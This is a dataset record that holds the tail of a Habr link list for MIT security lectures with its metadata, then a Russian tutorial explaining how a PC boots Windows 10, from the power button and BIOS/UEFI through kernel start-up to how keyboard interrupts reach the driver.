href="https://habr.com/company/ua-hosting/blog/416727/">Часть 3</a><br/> Лекция 3: «Переполнение буфера: эксплойты и защита» <a href="https://habr.com/company/ua-hosting/blog/416839/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418093/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418099/">Часть 3</a><br/> Лекция 4: «Разделение привилегий» <a href="https://habr.com/company/ua-hosting/blog/418195/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418197/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418211/">Часть 3</a><br/> Лекция 5: «Откуда берутся ошибки систем безопасности» <a href="https://habr.com/company/ua-hosting/blog/418213/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418215/">Часть 2</a><br/> Лекция 6: «Возможности» <a href="https://habr.com/company/ua-hosting/blog/418217/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418219/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418221/">Часть 3</a><br/> Лекция 7: «Песочница Native Client» <a href="https://habr.com/company/ua-hosting/blog/418223/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/418225/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/418227/">Часть 3</a><br/> Лекция 8: «Модель сетевой безопасности» <a href="https://habr.com/company/ua-hosting/blog/418229/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/423155/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/423423/">Часть 3</a><br/> Лекция 9: «Безопасность Web-приложений» <a href="https://habr.com/company/ua-hosting/blog/424289/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/424295/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/424297/">Часть 3</a><br/> Лекция 10: «Символьное выполнение» <a href="https://habr.com/company/ua-hosting/blog/425557/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/425561/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/425559/">Часть 3</a><br/> Лекция 11: «Язык программирования Ur/Web» <a href="https://habr.com/company/ua-hosting/blog/425997/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/425999/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/426001/">Часть 3</a><br/> Лекция 12: «Сетевая безопасность» <a href="https://habr.com/company/ua-hosting/blog/426325/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427087/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427093/">Часть 3</a><br/> Лекция 13: «Сетевые протоколы» <a href="https://habr.com/company/ua-hosting/blog/427763/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427771/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427779/">Часть 3</a><br/> Лекция 14: «SSL и HTTPS» <a href="https://habr.com/company/ua-hosting/blog/427783/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/427785/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/427787/">Часть 3</a><br/> Лекция 15: «Медицинское программное обеспечение» <a href="https://habr.com/company/ua-hosting/blog/428652/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/428654/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/428656/">Часть 3</a><br/> Лекция 16: «Атаки через побочный канал» <a href="https://habr.com/company/ua-hosting/blog/429390/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/429392/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/429394/">Часть 3</a><br/> Лекция 17: «Аутентификация пользователя» <a href="https://habr.com/company/ua-hosting/blog/429680/">Часть 1</a> / <a href="https://habr.com/company/ua-hosting/blog/429682/">Часть 2</a> / <a href="https://habr.com/company/ua-hosting/blog/429686/">Часть 3</a>
### Массачусетский Технологический институт. Курс лекций #6.858. «Безопасность компьютерных систем». Николай Зельдович, Джеймс Микенс. 2014 год Computer Systems Security — это курс о разработке и внедрении защищенных компьютерных систем. Лекции охватывают модели угроз, атаки, которые ставят под угрозу безопасность, и методы обеспечения безопасности на основе последних научных работ. Темы включают в себя безопасность операционной системы (ОС), возможности, управление потоками информации, языковую безопасность, сетевые протоколы, аппаратную защиту и безопасность в веб-приложениях. Лекция 1: «Вступление: модели угроз» Часть 1 / Часть 2 / Часть 3 Лекция 2: «Контроль хакерских атак» Часть 1 / Часть 2 / Часть 3 Лекция 3: «Переполнение буфера: эксплойты и защита» Часть 1 / Часть 2 / Часть 3 Лекция 4: «Разделение привилегий» Часть 1 / Часть 2 / Часть 3 Лекция 5: «Откуда берутся ошибки систем безопасности» Часть 1 / Часть 2 Лекция 6: «Возможности» Часть 1 / Часть 2 / Часть 3 Лекция 7: «Песочница Native Client» Часть 1 / Часть 2 / Часть 3 Лекция 8: «Модель сетевой безопасности» Часть 1 / Часть 2 / Часть 3 Лекция 9: «Безопасность Web-приложений» Часть 1 / Часть 2 / Часть 3 Лекция 10: «Символьное выполнение» Часть 1 / Часть 2 / Часть 3 Лекция 11: «Язык программирования Ur/Web» Часть 1 / Часть 2 / Часть 3 Лекция 12: «Сетевая безопасность» Часть 1 / Часть 2 / Часть 3 Лекция 13: «Сетевые протоколы» Часть 1 / Часть 2 / Часть 3 Лекция 14: «SSL и HTTPS» Часть 1 / Часть 2 / Часть 3 Лекция 15: «Медицинское программное обеспечение» Часть 1 / Часть 2 / Часть 3 Лекция 16: «Атаки через побочный канал» Часть 1 / Часть 2 / Часть 3 Лекция 17: «Аутентификация пользователя» Часть 1 / Часть 2 / Часть 3
article
1,542,096,013
{ "commentsCount": 0, "favoritesCount": 103, "readingCount": 7117, "score": 7, "votesCount": 13, "votesCountPlus": 10, "votesCountMinus": 3 }
[ "translation" ]
[ "ua-hosting", "infosecurity", "programming", "analysis_design", "it-infrastructure" ]
[ "develop", "admin" ]
[ "Аутентификация пользователя", "пароли", "Antihammer" ]
15
tutorial
null
{ "id": [], "parent_id": [], "level": [], "time_published": [], "score": [], "votes": [], "message_html": [], "message_markdown": [], "author": [], "children": [] }
518,972
ru
https://habr.com/ru/post/518972/
О работе ПК ч.3: От включения до полной загрузки Windows 10
Мы продолжаем разбираться как работает ПК на примере клавиатуры и Windows 10. В этой статье поговорим о том как происходит единение софта и железа. ### Старт системы Полностью компьютер выключен когда он отключен от питания и конденсаторы на материнской плате разрядились. До эры смартфонов мобильные телефоны часто глючили и если перезагрузка не лечила проблему, то приходилось доставать батарею и ждать 10 секунд, потому что сбрасывалось программное состояние ОС, в то время как чипы на материнской плате и контроллеры устройств оставались активными сохраняя состояние, драйвера ОС к ним просто реконнектились. 10 секунд — время на разрядку конденсаторов, состояние чипов сбрасывается только при полном отключении. Если же ПК подключен к розетке или батарее, то он находится в режиме Stand-By, это значит что по шине питания подаётся маленькое напряжения (5В) от которого запитываются некоторые чипы на материнке. Как минимум это системный контроллер, по сути это мини-компьютер запускающий большой компьютер. Получив уведомление о нажатии кнопки Power он просит блок питания/батарею подать больше напряжения и после инициализирует весь чип-сет, в том числе и процессор. Инициализация включает в себя перекачку кода и данных прошивки материнки (BIOS/UEFI) в оперативную память и настройку CPU на её исполнение. Думать что кнопка Power это рубильник который подаёт электричество на CPU и тот начинает исполнять с заранее известного адреса прошивку BIOS неправильно. Возможно старые компьютеры так и работали. Кнопка включения находится на своей плате, вместе со светодиодами состояний и к материнке она подключается через специальный разъём. На картинке ниже видны контакты для кнопки Power, Reset, а также светодиодов с состоянием Power и чтения жёсткого диска. Нажатие кнопки включения переводится в сигнал на контакты материнки, откуда он достигает системный контроллер. Контакты на материнке для подключения кнопки включения, светодиодов состояния Power, жёсткого диска и динамиков. Плата ноутбука с кнопкой включения и светодиодом состояния Cистемный контроллер обладает огромными полномочиями – включать и выключать компьютер, исполнять код в режиме ядра. Помимо него могут быть и другие чипы со сравнимыми возможностями, такие как Intel Management Engine или AMD Secure Technology (часть CPU), которые так же работают когда компьютер «выключен». Чип с Intel ME имеет в себе x86 CPU с операционной системой MINIX 3. Что он может делать: 1. Включать и выключать компьютер, т.е. выполнять программы имея доступ ко всей вычислительной мощности, периферии машины и сети. 2. Обходить ограничения файервола. 3. Видеть все данные в CPU и RAM, что даёт доступ к запароленным файлам. 4. Красть ключи шифрования и получать доступ к паролям 5. Логировать нажатия клавиш и движения мыши 6. Видеть что отображается на экране 7. Вредоносный код в Intel ME не может быть детектирован антивирусом, потому как на такой низкий уровень он добраться не может 8. И конечно же скрытно отправлять данные по сети используя свой стек для работы с сетью. Это вызывает серьёзные вопросы безопасности, потому как он может быть хакнут или использовать в шпионских целях. Прикладная иллюстрация как блок питания получает сигнал от материнки на включение. Если вы задумаете установить мощную видеокарту (Nvidia 2070 S) на офисный ПК, то просто вставить её недостаточно, потому как она требует питание в 600W, в то время как такой ПК имеет блок на ~500W. Первое что придёт в голову – купить новый блок питания на 650W с отдельной линией для видеокарты. Но и здесь будут разочарования, потому как разъёмы материнки будут не совпадать с разъёмами БП, а если его отдельно воткнуть в розетку и подключить к видюхе тоже ничего не будет – в блоке питания вентилятор не крутится и изображения нет. Так происходит, потому что БП должен получить сигнал от материнки на полное включение. Очевидное решение – новая материнка с совместимыми разъёмами, однако она стоит ~$300. Есть решение проще, хоть оно и вызывает опасения пожаробезопасности. Берём скрепку, разгибаем и вставляем в зелёный (PS_ON) и один из чёрных пинов (COM). Теперь всё должно работать. ### Поиск загрузчика ОС Есть два вида прошивки материнки – BIOS (Basic Input Output System) на старых машинах и UEFI (Unified Extensible Firmware Interface) на новых. Windows 10 поддерживает обе и абстрагирует различия между ними. UEFI правильней называть ОС чем прошивкой, потому как он предлагает больше возможностей, к примеру богатый графический интерфейс вместо текстового, наличие мышки, больший объём доступной памяти, улучшенная модель безопасности и валидации файлов ОС, взаимодействие с железом через API, вместо прерываний как в BIOS. Пример экрана монитора BIOS. Программа BIOS хранится на отдельном чипе, подключенном к Южному мосту. Этот чип можно достать и перепрошить новой программой, по факту это просто носитель памяти, а не самостоятельный микрокомпьютер. Настройки BIOS (системное время, например), хранятся на другом чипе который как правило находится возле круглой батарейки, которая на самом деле является литиевым аккумулятором, подзаряжающимся во время работы ПК. Называется он CMOS, что означает Complementary Metal Oxide Semiconductor, а по-русски просто — КМОП, что есть комплементарная структура металл-оксид-полупроводник. Первым делом программа BIOS выполняет проверку подсистем, эта процедура называется POST – Power On Self Test. Тест может быть сокращённый либо полный, это задаётся в настройках BIOS. Процитирую Википедию, что в себя включают эти тесты: Сокращённый тест включает: 1. Проверку целостности программ BIOS в ПЗУ, используя контрольную сумму. 2. Обнаружение и инициализацию основных контроллеров, системных шин и подключённых устройств (графического адаптера, контроллеров дисководов и т. п.), а также выполнение программ, входящих в BIOS устройств и обеспечивающих их самоинициализацию. 3. Определение размера оперативной памяти и тестирования первого сегмента (64 килобайт). Полный регламент работы POST: 1. Проверка всех регистров процессора; 2. Проверка контрольной суммы ПЗУ; 3. Проверка системного таймера и порта звуковой сигнализации (для IBM PC — ИМС i8253 или аналог); 4. Тест контроллера прямого доступа к памяти; 5. Тест регенератора оперативной памяти; 6. Тест нижней области ОЗУ для проецирования резидентных программ в BIOS; 7. Загрузка резидентных программ; 8. Тест стандартного графического адаптера (VGA или PCI-E); 9. Тест оперативной памяти; 10. Тест основных устройств ввода (НЕ манипуляторов); 11. Тест CMOS 12. Тест основных портов LPT/COM; 13. Тест накопителей на гибких магнитных дисках (НГМД); 14. Тест накопителей на жёстких магнитных дисках (НЖМД); 15. Самодиагностика функциональных подсистем BIOS; 16. Передача управления загрузчику. По результатам этого теста может быть обнаружена неисправность, к примеру нерабочая видеокарта или клавиатура. Поскольку экран монитора может не работать результаты тестов сообщаются в виде последовательности звуковых сигналов разной высоты. Что конкретно они значат надо смотреть в документации к материнской плате. Старые компьютеры часто бибикали во время старта — это программа BIOS сообщала о результатах тестов. Иногда может дополнительно использоваться индикатор, показывающий номер ошибки. Если всё прошло успешно, BIOS начинает процесс поиска загрузчика ОС. Для этого он начинает просматривать все подключенные к материнской плате жёсткие диски. Данные на физических дисках адресуются в единицах называемых сектор, обычно он 512 байт, однако современный стандарт – 4096 байт. Установщик Windows в самый первый сектор на диске записывает специальный программный код и данные о разделах. Этот сектор называется Master Boot Record. Диск разбивается на разделы (partitions), отформатированный своей файловой системой. Максимум 4 раздела, каждый из который может быть расширенным (extended partition), такой можно рекурсивно делить на 4 раздела и теоретически их число не ограничено. Как только BIOS находит Master Boot Record он считывает оттуда код и передаёт ему управление. Этот код поочередно просматривает данные о разделах и находит тот который помечен как активный, в нём находится код загрузчика Windows (Это не раздел с C:\Windows\System32!), этот раздел называется system partition. Как правило он занимает 100Мб и скрыт от пользователя. В первом секторе этого раздела хранится загрузочный код, которому передаётся управление. Это volume boot sector, код в нём ищет файл Bootmgr, с которого и начинается процесс загрузки Windows. Файл Bootmgr создан через соединение в один файлов Startup.com и Bootmgr.exe. Процессор начинает свою работу в режиме который называется «Реальный». Это режим совместимости, в нём CPU работает так же как и старые 16-bit процессоры, не имевшие поддержки виртуальной памяти и работавшие напрямую с физической памятью через 20-bit шину адресов, позволявшую адресовать 1Мб памяти. Простые MS-DOS программы выполнялись в этом режиме и имели расширение .COM. Первое что делает Startup.com (Bootmgr) – переключает процессор в режим «Защищённый», где под защитой понимается защита процессов друг от друга. В этом режиме поддерживается виртуальная память и 32х битные адреса, которыми можно адресовать 4Гб оперативной памяти. Следующим этапом Bootmgr заполняет таблицу виртуальных адресов на первые 16Мб RAM и включает трансляцию с виртуальных адресов в физические. В этом режиме и работает Windows. Поскольку на этом этапе подсистемы ОС ещё не созданы, Bootmgr имеет свою простую и неполную реализацию файловой системы NTFS, благодаря которой он находит BCD файл (Boot Configuration Data), в котором хранятся настройки параметров загрузки ОС. Вы можете редактировать его через утилиту BcdEdit.exe. В этих настройках BCD может быть указано, что Windows была в состоянии гибернации, и тогда Bootmgr запустит программу WinResume.exe, которая считывает состояние из файла Hyberfil.sys в память и перезапускает драйвера. Если BCD говорит, что есть несколько ОС, то Bootmgr выведет на экран их список и попросит пользователя выбрать. Если ОС одна, то Bootmgr запускает WinLoad.exe, этот процесс и выполняет основную работу по инициализации Windows: 1. Выбирает соотвествующую версию ядра Windows. Можете думать о нём как о Windows10.exe, хотя на самом деле он называется NtOsKrnl.exe. Какие есть версии? Согласно википедии: ntoskrnl.exe — однопроцессорное ядро Windows. без поддержки режима PAE ntkrnlmp.exe (англ. NT Kernel, Multi-Processor version) — многопроцессорное ядро Windows. без поддержки режима PAE ntkrnlpa.exe — однопроцессорное ядро Windows с поддержкой режима PAE. ntkrpamp.exe — многопроцессорное ядро Windows с поддержкой режима PAE. 2. Загружает HAL.dll (Hardware Abstraction Layer), который абстрагирует особенности материнки и CPU. 3. Загружает файл шрифтов vgaoem.fon 4. Загружает файлы в которых содержится инфомрация о представлениях даты времени, форматов чисел и пр. Эта функциональность называется National Language System. 5. Загружает в память реестр SYSTEM, в нём содержится информация о драйверах которые надо загрузить. Информация о всех драйверах находится в HKLM\SYSTEM\CurrentControlSet\Services\. Драйвера которые надо загрузить имеют ключ start = SERVICE_BOOT_START (0). Об устройстве реестра мы поговорим в другой статье. 6. Загружает драйвер файловой системы для раздела на котором располагаются файлы драйверов. 7. Загружает драйвера в память, но пока не инициализирует их из-за круговых зависимостей. 8. Подготавливает регистры CPU для выполнения ядра Windows выбранного на первом шаге – NtOsKrnl.exe. Во время загрузки драйверов WinLoad проверяет их цифровые подписи и если они не совпадают, то будет синий (BSOD) или зелёный (GSOD, для insider preview сборок) «экран смерти». ### Запуск на UEFI Пример экрана загрузки UEFI BIOS существует больше 30 лет и в попытках исправить его недостатки компания Intel в 1998 году создала стандарт Intel Boot Initiative, позже переименованный в EFI и в 2005 году пожертвованный организации EFI Forum. Недостатки BIOS: • Работает только в 16-битном режиме • Может адресовать только 1Mb оперативной памяти • Часто имеет проблемы совместимости • MBR ограничен только четырьмя главными разделами диска • Диск с ОС не может быть больше чем 2.2Tb. • Имеет очень ограниченные возможности для валидации загрузчика ОС. На смену BIOS пришёл UEFI, по сути это миниатюрная ОС которая может работать и в 32-bit и в 64-bit. Для совместимости есть опция Compatibility Support Module, которая включается в настройках и эмулирует работу BIOS. В UEFI загрузка происходит в родной для процессора битности – 32 или 64, есть доступ ко всей памяти, поддерживается виртуальная память, включен Secure Boot и есть возможность запустить antimalware до начала загрузки ОС. Порядок загрузки ОС в UEFI: 1. Инициализация и запуск Firmware, запуск чип-сета. 2. POST тест, аналогично BIOS 3. Загрузка EFI-драйверов и поиск диска подпадающего под требования EFI для загрузочного диска 4. Поиск папки с именем EFI. Спецификация UEFI требует чтобы был раздел для EFI System Partition, отформатированный под файловую систему FAT, размером 100Мб – 1Гб или не более 1% от размера диска. Каждая установленная Windows имеет свою директорию на этом разделе – EFI\Microsoft. 5. Читает из настроек UEFI сохранённых в NVRAM (энергонезависимая память) путь к файлу загрузчика. 6. Находит и запускает EFI/Microsoft/Boot/BootMgrFw.efi. 7. BootMgrFw.efi находит раздел реестра BCD, который хранится в отдельном файле с именем BCD. Из него он находит WinLoad.efi, который расположен в C:\Windows\System32\winload.efi. Чтобы посмотреть содержимое раздела EFI System Partition откройте консоль с правами админа (WinKey+X => Windows PowerShell (Admin)) и выполните команды mountvol Z: /s, Z:, dir. CD — меняет директорию. Главное отличие компонентов BootMgr и WinLoad для UEFI от своих копий для BIOS тем что они используют EFI API, вместо прерываний BIOS и форматы загрузочных разделов MBR BIOS и EFI System Partition сильно отличаются. ### Инициализация ядра Напоминаю, что мы рассматриваем загрузку ПК в контексте работы клавиатуры, поэтому не стоит заострять внимание на всех этапах. Надо понять где в этом процессе находится клавиатура, важные для понимания этапы выделены. На предыдущем этапе был запущен компонент WinLoad.exe/WinLoad.efi, который запускает NtOsKrnl.exe указав ему параметры загрузки в глобальной переменной nt!KeLoaderBlock (память режима ядра доступна всем процессам), которые WinLoad собрал во время своей работы. Они включают: 1. Пути к System (загрузчик Windows) и Boot (C:\Windows\System32) директориям. 2. Указатель на таблицы виртуальной памяти которые создал WinLoad 3. Дерево с описанием подключенного hardware, оно используется для создания HKLM\HARDWARE ветки реестра. 4. Копия загруженного реестра HKLM\System 5. Указатель на список загруженных (но не инициализированных) драйверов участвующих в старте Windows. 6. Прочая информация необходимая для загрузки. Инициализация ядра Windows происходит в два этапа. До этого происходит инициализация Hardware Abstraction Layer, который в числе всего прочего настраивает контроллеры прерывания для каждого CPU. На этой же стадии загружаются в память строки с сообщениями для BSOD, потому как в момент падения они могут быть недоступны или повреждены. Первая фаза инициализации ядра: 1. Слой Executive инициализирует свои объекты состояний – глобальные объекты, списки, блокировки. Производится проверка Windows SKU (Stock Keeping Unit), примеры Windows 10 SKU — Home, Pro, Mobile, Enterprise, Education. 2. Если включен Driver Verifier, то он инициализируется. 3. Менеджер памяти создаёт структуры данных, необходимые для работы внутренних API для работы с памятью (memory services), резервирует память для внутреннего пользования ядром. 4. Если подключен отладчик ядра (kernel debugger) ему отправляется уведомление загрузить символы для драйверов загружаемых во время старта системы. 5. Инициализируется информация о версии билда Windows. 6. Старт Object Manager – позволяет регистрировать именованные объекты к которым могут получать доступ по имени другие компоненты. Яркий пример – мьютекс по которому приложение позволяет запустить единственный экземпляр. Здесь же создаётся храниться handle table, по которой устанавливается соответствие к примеру между HWND и объектом описывающим окно. 7. Старт Security Reference Monitor подготавливает всё необходимое для создания первого аккаунта. 8. Process Manager подготавливает все списки и глобальные объекты для создания процессов и потоков. Создаются процесс Idle и System (в нём исполняется “Windows10.exe” он же NtOsKrnl.exe), они пока не исполняются, потому как прерывания выключены. 9. Инициализация User-Mode Debugging Framework. 10. Первая фаза инициализации Plug and Play Manager. PnP – это стандарт который реализовывается на уровне производителей периферии, материнских плат и ОС. Он позволяет получать расширенную информацию о подключенных устройствах и подключать их без перезагрузки ПК. Вторая фаза инициализации ядра. Она содержит 51 шаг, поэтому я пропущу многие из них: 1. По завершению первой фазы главный поток процесса System (NtOsKrnl.exe) уже начал исполнение. В нём производится вторая фаза инициализации. Поток получает самый высокий приоритет – 31. 2. HAL настраивает таблицу прерываний и включает прерывания. 3. Показывается Windows Startup Screen, которая по умолчанию представляет из себя чёрный экран с progress bar. 4. Executive слой инициализирует инфраструктуру для таких объектов синхронизации как Semaphore, Mutex, Event, Timer. 5. Объекты для User-Mode Debugger проинициализированы. 6. Создана symbolic link \SystemRoot. 7. NtDll.dll отображена в память. Она отображается во все процессы и содержит Windows APIs. 8. Инициализирован драйвер файловой системы. 9. Подсистема межпроцессного общения между компонентами Windows ALPC проинициализирована. Можете думать о ней как о named pipes или Windows Communication Foundation для межпроцессного общения. 10. Начинается инициализация I/O Manager, который создаёт необходимые структуры данных для инициализации и хранения драйверов подключенной к компьютеру периферии. Этот процесс очень сложный. Здесь же инициализируются компоненты Windows Management Instrumentation и Event Tracing for Windows (на него полагается Windows Performance Analyzer). После этого шага все драйвера проинициализированы. 11. Запускается процесс SMSS.exe (Session Manager Sub System). Он отвечает за создание режима пользователя, в котором будет создана визуальная часть Windows. ### Запуск подсистем – SMSS, CSRSS, WinInit SMSS.exe отличается от пользовательских процессов, это нативный процесс и это даёт ему дополнительные полномочия. SMSS.exe работает с ядром в обход Windows API, он использует то что называется Native API. Windows API – обёртка вокруг Native API. SMSS.exe первым делом запускает подсистему Windows (CSRSS.exe – Client Server Runtime Sub System) и заканчивает инициализацию реестра. Процесс и потоки SMSS.exe помечены как критические, это значит что если они неожиданно завершаться, к примеру из-за ошибки, это приведёт к падению системы. Для общения с подсистемами, к примеру вызову API создающему новую сессию, SMSS создаёт ALPC-порт с именем SmApiPort. Загружаются из реестра переменные среды окружения, запускаются программы такие как Check Disk (autochk.exe, эти программы записаны в реестре HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute). SMSS.exe запускается для каждой пользовательской сессии. Глобальные переменные (очередь сообщений например) у каждой сессии своя за счёт механизма виртуальной памяти. В Windows есть контексты потока, процесса и сессии. Каждый SMSS.exe запускает свой экземпляр подсистемы, на данный момент это только CSRSS.exe (Windows), в прошлом поддерживались операционные системы OS/2 (os2ss.exe) и POSIX (psxss.exe), но эта идея была неудачной. Самый первый SMSS.exe засыпает в ожидании процесса WinInit.exe. Остальные экземпляры вместо этого создают процесс WinLogon который показывает UI для входа. WinInit.exe инициализирует подсистемы для создания графической оболочки – Windows Station и десктопы, это не тот рабочий стол который вы видите, это иная концепция Windows. Далее он запускает процессы: 1. Services.exe – Services Control Manager (SCM) запускает сервисы и драйвера помеченные как AutoStart. Сервисы запускаются в процессах svchost.exe. Есть утилита tlist.exe, которая запущенная с параметром tlist.exe -s напечатает в консоли имена сервисов в каждом из svchost.exe. 2. LSASS.exe – Local System Authority. 3. LSM.exe – Local Session Manager. WinLogon.exe – загружает провайдеры аутентификации (credential providers), которые могут быть password, Smartcard, PIN, Hello Face. Он порождает процесс LogonUI.exe который и показывает пользователю интерфейс для аутентификации, а после валидирует введённые данные (логин и пароль, PIN). Если всё прошло успешно, то WinLogon запускает процесс указанный в ключе реестра HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\Userinit. По умолчанию это процесс UserInit.exe, который: 1. Запускает скрипты указанные в реестрах: HKCU\Software\Policies\Microsoft\Windows\System\Scripts HKLM\SOFTWARE\Policies\Microsoft\Windows\System\Scripts 2. Если групповая политика безопасности определяет User Profile Quota, запускает %SystemRoot%\System32\Proquota.exe 3. Запускает оболочку Windows, по умолчанию это Explorer.exe. Этот параметр конфигурируется через реестр: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell WinLogon уведомляет Network Provider о залогинившемся пользователе, на что тот восстанавливает и подключает системные диски и принтеры сохранённые в реестре. Network Provider представляет из себя файл mpr.dll из системной папки, который хостится в процессе svchost.exe, т.е. сервис Windows. Дерево процессов выглядит следующим образом, на нём можно увидеть кто и кого создал (показаны не все процессы, может немного отличаться от последний версий Windows). ### Где здесь клавиатура? Во время запуска ядро Windows считывает из реестра информацию о контроллере системной шины, как правило это шина PCI (реже MSI), к ней подключены контроллеры портов ввода-вывода, в том числе и USB, PS/2. Информация о нём записывается во время установки Windows. Система загружает для него драйвер и рекурсивно обходит все порты так же загружая для каждого из них свой драйвер. Драйвера могут комбинироваться в узлы (driver node), к примеру драйвер клавиатуры, будет соединён с драйвером порта PS2. А вот порт USB сложнее — сначала драйвер порта, потом драйвер для работы с протоколом HID и только потом клавиатура. Каждый порт контроллируется своим чипом, который мониторит подключение, принимает/отправляет сигналы между CPU и устройством. Если чип-сет Южный мост не встроен в CPU, как это часто делают в ноутбуках, а существует отдельным чипом на материнке, то правильней говорить: сигнал между Южным мостом и контроллером порта. Чип контроллирующий порт имеет выделенную линию с контроллером прерываний (PIC или APIC), по которой он может попросить обратить на себя внимание CPU, к примеру считать данные от клавиатуры (порт PS/2, с USB другая история). Поскольку ОС загрузила для порта драйвер, она может отдавать ему команды, читать и отправлять данные. В нашем примере был загружен драйвер из C:\Windows\System32\i8042prt.sys. Давайте вспомним предыдущую статью. В старых компьютерах с PIC на чипе Intel 8259 было 15 линий прерываний, где клавиатура была подключена к ножке IRQ1, таймер IRQ0, а мышка к IRQ12, который на самом деле был пятой ножкой второго чипа 8259, который мультиплексировал свои прерывания через ножку IRQ2 первого контроллера. В современных PIC могут быть 255 контактов для сигналов прерываний. Во время загрузки ОС программирует APIC/PIC возвращать определённое число когда скажем пришло прерывание от порта клавиатуры или USB и по этому номеру CPU находит в таблице векторов прерываний функцию которую надо выполнить. Номер прерываний определяют HAL и Plug’n’Play Manager. Контроллер прерываний ищет сигнал на своих ножках в определённом порядке, к примеру в бесконечном цикле проверяет напряжение на ножках от 1 до MAX_PIN. Этот порядок определяет приоритет, к примеру клавиатура будет замечена раньше мышки, а таймер раньше клавиатуры. Чтобы не зависеть от особенностей работы контроллеров прерываний Windows абстрагирует концепцию IRQ (Interrupt Request) в IRQL (Interrupt Request Level). Будь у контроллера прерываний хоть 15 хоть 255 линий они все будут отображены на 32 IRQL для x86 и 15 IRQL для x64 и IA64. Что означают приоритеты IRQL: 1. High – когда происходит краш системы, обычно это вызов функции KeBugCheckEx. 2. Power Fail – не используется. Изначально был придуман для Windows NT. 3. Interprocessor Interrupt – нужен отправить запрос другому CPU на мультипроцессорной системе выполнить действие, например обновить TLB cache, system shutdown, system crash (BSOD). 4. Clock – нужен чтобы обновлять системные часы, а так же вести статистику сколько времени потоки проводят в режиме пользователя и ядра. 5. Profile – используется для real-time clock (local APIC-timer) когда механизм kernel-profiling включен. 6. Device 1 ... Device N – прерывания от устройств I/O. Во время прерывания данные от клавиатуры, мыши и других устройств считываются в отдельные буфера и сохраняются в объектах типа DPC (Deferred Procedure Call), чтобы обработать их позже и дать возможность устройствам переслать данные. После приоритет снижается до Dispatch DPC 7. Dispatch DPC — как только данные от устройств получены можно начинать их обрабатывать. 8. APC — Asynchronous Procedure Call. Через этот механизм вы можете исполнить код когда поток будет спать вызвав WaitForSingleObject, Sleep и другие. 9. Passive/Low — здесь исполняются все приложения в User Mode. Если вы всегда программировали в режиме пользователя, то никогда не слышали про IRQL, потому что все пользовательские программы выполняеются с приоритетом Passive/Low (0). Как только происходит событие с большим уровнем приоритета (событие от клавиатуры, таймер планировщика потоков), процессор сохраняет состояние прерванного потока, которое представляет из себя значения регистров CPU, и вызывает диспетчер прерываний (interrupt dispatcher, просто функция), который повышает приоритет IRQL через API KeRaiseIrql в HAL и вызывает непосредственно сам код обработчика (interrupt’s service routine). После этого IRQL CPU понижается до прежнего уровня через функцию KeLowerIrql и прерванный поток начинает обработку с того же места где его прервали. На этом механизме основан планировщик потоков. Он устанавливает таймер, который с определённым интервалом (квант времени) генерирует прерывание с приоритетом DPC/Dispatch (2) и в своей interrupt’s service routine по определённому алгоритму назначает новый поток на исполнение. Механизм IRQL реализовывается на уровне софта в Hardware Abstraction Layer (HAL.dll), а не железа. В Windows системах есть драйвер шины (bus driver), который определяет наличие устройств подключенных к шинам – PCI, USB и др. и номера прерываний которые могут быть назначены каждому устройству. Драйвер шины сообщает эту информацию Plug and play manager, который уже решает какие номера прерываний назначить каждому устройству. Далее арбитр прерываний внутри PnP Mgr (PnP interrupt arbiter) устанавливает связи между IRQ и IRQL. Когда приходит прерывание от клавиатуры, любой исполняемый в данный момент поток (это может быть ваша программа) назначается на его обработку. Interrupt dispatcher повышает приоритет IRQL CPU до одного из уровней Device1-DeviceN. После этого менеджер виртуальной памяти не сможет найти страницу если она не загружена в RAM (не сможет обработать Page Fault), планировщик потоков не сможет прервать выполнение, потому что они все работают с меньшим уровнем IRQL. Главная задача драйвера клавиатуры в этот момент считать полученные данные и сохранить их для дальнейшей обработки. Данные записываются в объект типа _DPC (Deferred Procedure Call), который сохраняется в список DPC потока (что-то вроде std::list<DPC>, в ядре ОС вместо массивов используются связанные списки). Как только прерывания от всех внешних устройств обработаны, IRQL потока понижается до уровня DPC в котором и производится обработка отложенных процедур (DPC). В коде обработчика DPC для клавиатуры вызывается функция из драйвера клавиатуры Kbdclass.sys: [code] VOID KeyboardClassServiceCallback( _In_ PDEVICE_OBJECT DeviceObject, _In_ PKEYBOARD_INPUT_DATA InputDataStart, _In_ PKEYBOARD_INPUT_DATA InputDataEnd, _Inout_ PULONG InputDataConsumed ); [/code] Так вот, драйвер клавиатуры (kbdclass.sys) получает данные от порта (USB, PS2) через прерывание и записывает их через WriteFile, компонент внутри ядра Windows просыпается, считывает их используя API ReadFile и добавляет в очередь сообщений с клавиатуры. API для работы с файлом могут использоваться для чтения данных с драйверов. С этого момента начинается обработка данных стеком ввода Windows, об этом в следующей статье. Если у вас есть 